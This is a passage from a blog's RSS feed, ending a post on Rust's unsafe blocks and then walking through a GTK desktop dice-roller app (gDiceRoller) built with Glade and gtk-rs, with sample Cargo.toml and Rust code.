the fundamental assumption that &lt;code&gt;unsafe&lt;/code&gt; code we use&#xA;through dependencies, whether on the standard library or other library code, has been&#xA;correctly written and encapsulated. The fundamental advance of Rust is that the code&#xA;is corralled into &lt;code&gt;unsafe&lt;/code&gt; blocks, which are supposed to be verified by their authors.&lt;/p&gt;&#xA;&lt;p&gt;In Python, the burden of ensuring that raw memory manipulation is safe falls only on the&#xA;interpreter maintainers and the users of the foreign function interface. In C, that burden&#xA;is on every single programmer.&lt;/p&gt;&#xA;&lt;p&gt;In Rust, the burden falls on the user of the &lt;code&gt;unsafe&lt;/code&gt; keyword. It&amp;rsquo;s clear, within the&#xA;code, where variants need to be manually upheld, and it is common to strive for zero&#xA;unsafe code anywhere in a library or application&amp;rsquo;s codebase. The unsafety is identified,&#xA;segregated, and clearly marked, so if your Rust code segfaults, you have&#xA;discovered either a bug in the compiler or a bug in your few lines of &lt;code&gt;unsafe&lt;/code&gt; code.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s not a perfect system, but if what you need is the trifecta of speed, safety, and&#xA;concurrency, it&amp;rsquo;s the only option out there.&lt;/p&gt;&#xA;</content:encoded>
    </item>
    <item>
      <title>Speedy Desktop Apps With GTK and Rust</title>
      <link>https://nora.codes/tutorial/speedy-desktop-apps-with-gtk-and-rust/</link>
      <pubDate>Fri, 05 Jul 2019 14:00:00 -0700</pubDate>
      <guid>https://nora.codes/tutorial/speedy-desktop-apps-with-gtk-and-rust/</guid>
      <description>&lt;p&gt;The web platform is the delivery mechanism of choice for a ton of software these&#xA;days, either through the web browser itself or through Electron, but that doesn&amp;rsquo;t mean&#xA;there isn&amp;rsquo;t a place for a good old fashioned straight-up desktop application in the&#xA;picture.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, it&amp;rsquo;s easier than ever to write a usable, pretty, and performant desktop app,&#xA;using my language of choice (Rust) and the wildly successful cross-platform GUI framework&#xA;GTK. In this blog post, we&amp;rsquo;ll walk through the source code of &lt;strong&gt;gDiceRoller&lt;/strong&gt;.&#xA;In future posts, I&amp;rsquo;ll explain how I packaged it for different systems.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;The web platform is the delivery mechanism of choice for a ton of software these&#xA;days, either through the web browser itself or through Electron, but that doesn&amp;rsquo;t mean&#xA;there isn&amp;rsquo;t a place for a good old fashioned straight-up desktop application in the&#xA;picture.&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, it&amp;rsquo;s easier than ever to write a usable, pretty, and performant desktop app,&#xA;using my language of choice (Rust) and the wildly successful cross-platform GUI framework&#xA;GTK. In this blog post, we&amp;rsquo;ll walk through the source code of &lt;strong&gt;gDiceRoller&lt;/strong&gt;.&#xA;In future posts, I&amp;rsquo;ll explain how I packaged it for different systems.&lt;/p&gt;&#xA;&lt;figure class=&#34;center&#34;&gt;&#xA;    &lt;a href=&#34;./images/gDiceRoller.webp&#34;&gt;&lt;img src=&#34;./images/gDiceRoller.webp&#34; alt=&#34;A screenshot of gDiceRoller&#34;&gt;&lt;/a&gt;&#xA;A screenshot of gDiceRoller, the program this post is about.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;h2 id=&#34;what-app&#34;&gt;What App?&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;gDiceRoller&lt;/strong&gt; is a truly simple app. It leverages the excellent &lt;a href=&#34;https://crates.rs/rfyl/&#34;&gt;&lt;code&gt;rfyl&lt;/code&gt;&lt;/a&gt;&#xA;dice notation&#xA;library to allow users to roll dice of arbitrary numbers of sides and perform arithmetic&#xA;on the results.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;figure class=&#34;left&#34;&gt;&#xA;    &lt;a href=&#34;https://upload.wikimedia.org/wikipedia/commons/2/2d/Dados_4_a_20_caras_trans.png&#34;&gt;&lt;img src=&#34;https://upload.wikimedia.org/wikipedia/commons/2/2d/Dados_4_a_20_caras_trans.png&#34; alt=&#34;Several polyhedral dice of the type commonly used for gaming.&#34;&gt;&lt;/a&gt;&#xA;Several polyhedral dice of the type commonly used for gaming.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dice notation&lt;/strong&gt; is the de facto standard notation used by tabletop gaming systems such&#xA;as Dungeons and Dragons to express how many and which kind of dice a player should roll to&#xA;determine what happens in a game. A roll is expressed as &lt;strong&gt;NdM&lt;/strong&gt;, where  &lt;strong&gt;N&lt;/strong&gt; is the&#xA;number of dice to be rolled, and &lt;strong&gt;M&lt;/strong&gt; is the number of sides each die should have.&lt;/p&gt;&#xA;&lt;p&gt;Dungeons and Dragons is known for using an icosahedron, or &lt;strong&gt;d20&lt;/strong&gt;, for many of its&#xA;rolls. When determining the effects of attacks in combat, it&amp;rsquo;s common to roll &lt;strong&gt;2d8&lt;/strong&gt; or&#xA;more, and in older editions of the game it was possible to build up truly complex sets&#xA;of rolls, like &lt;strong&gt;1d20 + 1d6 - (1d4 / 2)&lt;/strong&gt; for a skill check or &lt;strong&gt;12d6 + 2&lt;/strong&gt; for some&#xA;damage rolls.&lt;/p&gt;&#xA;&lt;p&gt;The most common dice are those that correspond to the platonic solids; tetrahedrons (d4),&#xA;cubes (d6), octahedrons (d8), decahedrons (d10), dodecahedrons (d12), and&#xA;icosahedrons (d20). People also like to roll two d10s and use the first as the first digit&#xA;and the second as the second digit to make a makeshift &amp;ldquo;d100&amp;rdquo;, for percentages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This application will allow its users to generate pseudorandom numbers based on parameters&#xA;specified in dice notation, or by clicking on any of the several common dice provided, as&#xA;well as permitting common operations like halving results with specific rounding behavior.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s it - it&amp;rsquo;s quite simple!&lt;/p&gt;&#xA;&lt;h2 id=&#34;ui-prototyping&#34;&gt;UI Prototyping&lt;/h2&gt;&#xA;&lt;figure class=&#34;right&#34;&gt;&#xA;    &lt;a href=&#34;https://glade.gnome.org/images/glade-main-page.png&#34;&gt;&lt;img src=&#34;https://glade.gnome.org/images/glade-main-page.png&#34; alt=&#34;A screenshot of the Glade software.&#34;&gt;&lt;/a&gt;&#xA;Glade, from the GNOME project, is easy to use and very powerful.&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;p&gt;Given the simple interface for this program, it would be fairly easy to build the entire&#xA;interface from within Rust code, but such an approach becomes unwieldy for larger&#xA;projects. Fortunately, the GNOME project provides a best-in-class UI design program called&#xA;Glade (available from your distribution or at &lt;a href=&#34;https://glade.gnome.org/&#34;&gt;glade.gnome.org&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Glade is pretty intuitive; I suggest picking up the &lt;a href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/dc705989259dbe13a9806a80c764b3a76de170b3/src/mainwindow.glade&#34;&gt;UI definition&lt;/a&gt; for this project and pulling it up yourself.&#xA;This is an XML-based file that defines the tree structure of the user interface, much like&#xA;HTML does for web applications. (If you want to deep-dive on Glade, check out the&#xA;&lt;a href=&#34;https://wiki.gnome.org/action/show/Apps/Glade/Tutorials?action=show&amp;amp;redirect=Glade%2FTutorials&#34;&gt;dedicated tutorial series&lt;/a&gt; from the GNOME project.)&lt;/p&gt;&#xA;&lt;p&gt;Glade&amp;rsquo;s killer feature, in my opinion, is its &amp;ldquo;preview snapshot&amp;rdquo; functionality, which&#xA;opens the current UI definition in an actual native window. This lets you play with&#xA;any standard UI functionality like notebooks (tabs), scroll bars, and tree views without&#xA;writing any code at all.&lt;/p&gt;&#xA;&lt;p&gt;Because it&amp;rsquo;s a tree structure, you can prototype fragments of the UI, like complex list&#xA;entries or modals, in their proper place and then simply drag-and-drop them into their&#xA;own tree to be used in the program once they look good.&lt;/p&gt;&#xA;&lt;p&gt;Once the UI looks great, just save it for later. Integration into &lt;code&gt;gtk-rs&lt;/code&gt;, the Rust GTK3&#xA;bindings, is very easy.&lt;/p&gt;&#xA;&lt;h2 id=&#34;dependencies&#34;&gt;Dependencies&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Note: from this point on, anywhere you see &lt;code&gt;codes.nora.gDiceRoller&lt;/code&gt; or &lt;code&gt;gDiceRoller&lt;/code&gt;,&#xA;you will need to use your own project&amp;rsquo;s name. I would have&#xA;called the crate &lt;code&gt;codes.nora.gDiceRoller&lt;/code&gt;, in standard reverse domain notation used in&#xA;many packaging systems, but that&amp;rsquo;s not permitted, so I simply called it &lt;code&gt;gDiceRoller&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;All you need to start writing this code is a working &lt;code&gt;cargo&lt;/code&gt; installation and the GTK&#xA;development libraries. On Ubuntu, that&amp;rsquo;s &lt;code&gt;libgtk-3-dev&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Within the Cargo.toml, the dependencies are actually pretty simple; we need GTK, GLib,&#xA;and RFYL (which handles the dice rolling).&lt;/p&gt;&#xA;&lt;p&gt;With GTK, we have to specify a feature corresponding to the minimum toolkit version the&#xA;program will support, through the use of &lt;code&gt;cargo&lt;/code&gt; feature tags.&#xA;This project deliberately uses an old version for maximum compatibility, but you&amp;rsquo;re free&#xA;to choose whatever you want.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-toml&#34; data-lang=&#34;toml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[package]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;name = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;gdiceroller&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0.1.0&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;authors = [&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Leonora Tindall &amp;lt;nora@nora.codes&amp;gt;&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;edition = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;2018&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[dependencies]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rfyl = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0.3.1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;glib = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0.7&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[dependencies.gtk]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;version = &lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;0.6&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;features = [&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;v3_16&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;factorization&#34;&gt;Factorization&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Thanks to &lt;a href=&#34;https://mstdn.mx/@federicomena&#34;&gt;@federicomena&lt;/a&gt; for help refactoring&#xA;this program to be easier to read.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;gDiceRoller is an example of an easy-to-use factorization template for any GTK Rust&#xA;application. It keeps its application logic, state management, and GUI management in&#xA;seperate modules, and uses the &lt;code&gt;main()&lt;/code&gt; function to tie them together.&lt;/p&gt;&#xA;&lt;h3 id=&#34;rolling-dice&#34;&gt;Rolling Dice&lt;/h3&gt;&#xA;&lt;p&gt;The most important thing this program does is to roll dice - that is, take a string of&#xA;dice notation and generate a number from it. All of that logic is provided by &lt;code&gt;rfyl&lt;/code&gt;, and&#xA;it&amp;rsquo;s only really necessary to have a single function that handles the whole process.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s &lt;code&gt;roll_expression&lt;/code&gt;; it lives in &lt;a href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/dc705989259dbe13a9806a80c764b3a76de170b3/src/rolls.rs&#34;&gt;&lt;code&gt;src/rolls.rs&lt;/code&gt;&lt;/a&gt;&#xA;and takes a string, passes it to &lt;code&gt;rfyl::roll&lt;/code&gt;, and returns either the result or an error.&#xA;Putting this logic in its own file also gives us an obvious place to do some basic tests.&lt;/p&gt;&#xA;&lt;h3 id=&#34;state-management&#34;&gt;State Management&lt;/h3&gt;&#xA;&lt;p&gt;Then there&amp;rsquo;s the application&amp;rsquo;s state to think about. For gDiceRoller, that&amp;rsquo;s simple. It&#xA;stores the last rolled value and, if there was a problem with the user-entered dice notation,&#xA;what caused that error.&lt;/p&gt;&#xA;&lt;p&gt;Whatever your application&amp;rsquo;s global state is, it can go in its own module, &lt;code&gt;state&lt;/code&gt;. In&#xA;gDiceRoller, that&amp;rsquo;s a single file &lt;a href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/dc705989259dbe13a9806a80c764b3a76de170b3/src/state.rs&#34;&gt;&lt;code&gt;src/state.rs&lt;/code&gt;&lt;/a&gt;, and it contains the actual state&#xA;as a &lt;code&gt;State&lt;/code&gt; struct with functions to operate on it. These functions are what the rest of the application will use to change the state, and they take an &lt;code&gt;&amp;amp;mut self&lt;/code&gt;. In gDiceRoller, there&amp;rsquo;s&#xA;just one; the application does sometimes directly change the value inside, but the only&#xA;complex behavior is encapsulated in &lt;code&gt;update_from_roll_result&lt;/code&gt;, which is tested in the same&#xA;file.&lt;/p&gt;&#xA;&lt;h3 id=&#34;gui-handling&#34;&gt;GUI Handling&lt;/h3&gt;&#xA;&lt;p&gt;Now comes the actual &amp;ldquo;front-end&amp;rdquo; portion; the GUI. In gDiceRoller, all the handles into&#xA;the UI are contained in a single struct, &lt;code&gt;MainWindow&lt;/code&gt;, in &lt;a href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/dc705989259dbe13a9806a80c764b3a76de170b3/src/main_window.rs&#34;&gt;`src/main_window.rs&amp;rsquo;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pub&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; MainWindow&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;window: gtk::Window,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;result: gtk::Label,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;popover: gtk::Popover,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;error_label: gtk::Label,&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;user_spec_entry: gtk::Entry,&lt;span style=&#34;color:#bbb&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;buttons: HashMap&amp;lt;String,&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;gtk::Button&amp;gt;,&lt;span style=&#34;color:#bbb&#34;&gt;       &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the &lt;code&gt;new()&lt;/code&gt; function for this struct, the &lt;code&gt;include_str!()&lt;/code&gt; macro is used to load the&#xA;Glade template file. I just saved it in the &lt;code&gt;src/&lt;/code&gt; folder and did &lt;code&gt;include_str!(&amp;quot;mainwindow.glade&amp;quot;)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Then, each element of the struct is initialized with &lt;code&gt;builder.get_object(&amp;quot;objectName&amp;quot;).unwrap()&lt;/code&gt;.&#xA;This takes these objects from the stringly-typed world of the XML file to their exact types&#xA;in the &lt;code&gt;MainWindow&lt;/code&gt; struct.&lt;/p&gt;&#xA;&lt;p&gt;The exception to this rule is the buttons. There are a lot of buttons, and they all do the&#xA;same thing with a minor variation, so a &lt;code&gt;for&lt;/code&gt; loop is used to run through a slice of all the&#xA;names and add them to a &lt;code&gt;HashMap&amp;lt;String, gtk::Button&amp;gt;&lt;/code&gt;. It doesn&amp;rsquo;t provide quite the same&#xA;compile-time guarantees, but at least &lt;code&gt;get()&lt;/code&gt; on that &lt;code&gt;HashMap&lt;/code&gt; returns a &lt;code&gt;gtk::Button&lt;/code&gt;&#xA;rather than an arbitrary &lt;code&gt;GObject&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;MainWindow&lt;/code&gt; struct also has a separate run-time function, &lt;code&gt;start()&lt;/code&gt;, which sets&#xA;the application&amp;rsquo;s name, its &lt;code&gt;wmclass&lt;/code&gt;, and its delete event, and shows it and its children.&lt;/p&gt;&#xA;&lt;p&gt;Finally, &lt;code&gt;MainWindow&lt;/code&gt; has a function &lt;code&gt;update_from&lt;/code&gt; which takes an &lt;code&gt;&amp;amp;State&lt;/code&gt; and changes all&#xA;the visible fields to their appropriate values. In this case, that&amp;rsquo;s just showing the&#xA;error popover if there&amp;rsquo;s an error, and updating the number displayed at the top.&lt;/p&gt;&#xA;&lt;p&gt;This is all the data structures in use; the rest of the work is done in &lt;a href=&#34;https://gitlab.gnome.org/NoraCodes/gdiceroller/blob/dc705989259dbe13a9806a80c764b3a76de170b3/src/main.rs&#34;&gt;&lt;code&gt;main.rs&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;functionality&#34;&gt;Functionality&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;main.rs&lt;/code&gt; functions as something of a plugboard, wiring together the actual computation&#xA;with the &lt;code&gt;State&lt;/code&gt; and &lt;code&gt;MainWindow&lt;/code&gt; structs, and starting the whole thing rolling.&lt;/p&gt;&#xA;&lt;p&gt;The program first tries to initialize GTK.&#xA;Then, the GUI state and the application state are initialized and placed in &lt;code&gt;Arc&amp;lt;&amp;gt;&lt;/code&gt; and&#xA;&lt;code&gt;Arc&amp;lt;RefCell&amp;lt;&amp;gt;&amp;gt;&lt;/code&gt;, respectively. &lt;code&gt;State&lt;/code&gt; can now be safely modified from within callbacks,&#xA;thanks to &lt;code&gt;RefCell&lt;/code&gt;&amp;rsquo;s interior mutability (see &lt;a href=&#34;https://doc.rust-lang.org/book/ch15-05-interior-mutability.html?highlight=cell#refcellt-and-the-interior-mutability-pattern&#34;&gt;Section 15.05&lt;/a&gt; in The Rust Programming Language&#xA;for more information on this pattern).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;RefCell&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;RwLock&lt;/code&gt;&lt;/strong&gt; are both good candidates for use as the&#xA;interior-mutability abstraction here. &lt;code&gt;RefCell&lt;/code&gt; is used in this case because there is no&#xA;need to share between threads, and &lt;code&gt;RefCell&lt;/code&gt; has less complexity than &lt;code&gt;RwLock&lt;/code&gt;. &lt;code&gt;Mutex&lt;/code&gt; is&#xA;also a viable candidate, or a custom data structure using &lt;code&gt;std::sync::atomic&lt;/code&gt;s.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The use of &lt;code&gt;Arc&lt;/code&gt; instead of &lt;code&gt;Rc&lt;/code&gt; is unnecessary here, since the program is single-threaded.&#xA;This is an error on my part; the data structure should be &lt;code&gt;Rc&amp;lt;RefCell&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt; or&#xA;&lt;code&gt;Arc&amp;lt;Mutex&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt;/&lt;code&gt;Arc&amp;lt;RwLock&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt;. This will be corrected soon.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;After that, &lt;code&gt;main&lt;/code&gt; just needs to add all the callbacks for the various buttons. All the&#xA;standard dice can be done with a loop. Those for &lt;code&gt;clearResult&lt;/code&gt;, &lt;code&gt;halveDownResult&lt;/code&gt;, et&#xA;cetera are done on their own.&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s a pattern to these callbacks. Firstly, each callback is created in its own local&#xA;scope, so as to make lifetime juggling easier. Then, the appropriate control is fetched,&#xA;and &lt;code&gt;Arc::clone()&lt;/code&gt; is called on &lt;code&gt;&amp;amp;gui&lt;/code&gt; and &lt;code&gt;&amp;amp;state&lt;/code&gt; to get a local reference to the&#xA;global state. Finally, the actual code is written in a &lt;code&gt;move&lt;/code&gt; closure, so these references&#xA;are captured.&lt;/p&gt;&#xA;&lt;p&gt;For example, the &lt;code&gt;clearResult&lt;/code&gt; callback is written thus:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-rust&#34; data-lang=&#34;rust&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;button&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;gui.button(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;clearResult&amp;#34;&lt;/span&gt;);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;gui&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Arc::clone(&amp;amp;gui);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;state&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;Arc::clone(&amp;amp;state);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;button.connect_clicked(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;move&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;|_|&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;{&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;let&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;mut&lt;/span&gt;&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;state&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;state.borrow_mut();&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;state.value&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;=&lt;span style=&#34;color:#bbb&#34;&gt; &lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;;&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;        &lt;/span&gt;gui.update_from(&amp;amp;state);&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#bbb&#34;&gt;    &lt;/span&gt;});&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#bbb&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Finally, &lt;code&gt;main&lt;/code&gt; calls &lt;code&gt;gui.start()&lt;/code&gt; and &lt;code&gt;gtk::main()&lt;/code&gt; and the program runs!&lt;/p&gt;&#xA;&lt;p&gt;You can run the tests with &lt;code&gt;cargo tests&lt;/code&gt;, or actually run the program with &lt;code&gt;cargo run&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;putting-the-desktop-in-desktop-app&#34;&gt;Putting the &amp;ldquo;Desktop&amp;rdquo; in &amp;ldquo;Desktop App&amp;rdquo;&lt;/h2&gt;&#xA;&lt;p&gt;Just a pretty GUI and speedy functionality aren&amp;rsquo;t enough, though;&#xA;a good desktop app needs integration. The most basic integration, on the Linux desktop,&#xA;is provided through a &lt;code&gt;.desktop&lt;/code&gt; file and an application icon. In addition, applications&#xA;can provide an &lt;code&gt;appdata.xml&lt;/code&gt; file describing their features and history. All of these&#xA;files are held in the &lt;code&gt;data&lt;/code&gt; directory, in the case of gDiceRoller.&lt;/p&gt;&#xA;&lt;p&gt;For &lt;code&gt;gDiceRoller&lt;/code&gt;, the &lt;code&gt;.desktop&lt;/code&gt; file &lt;a 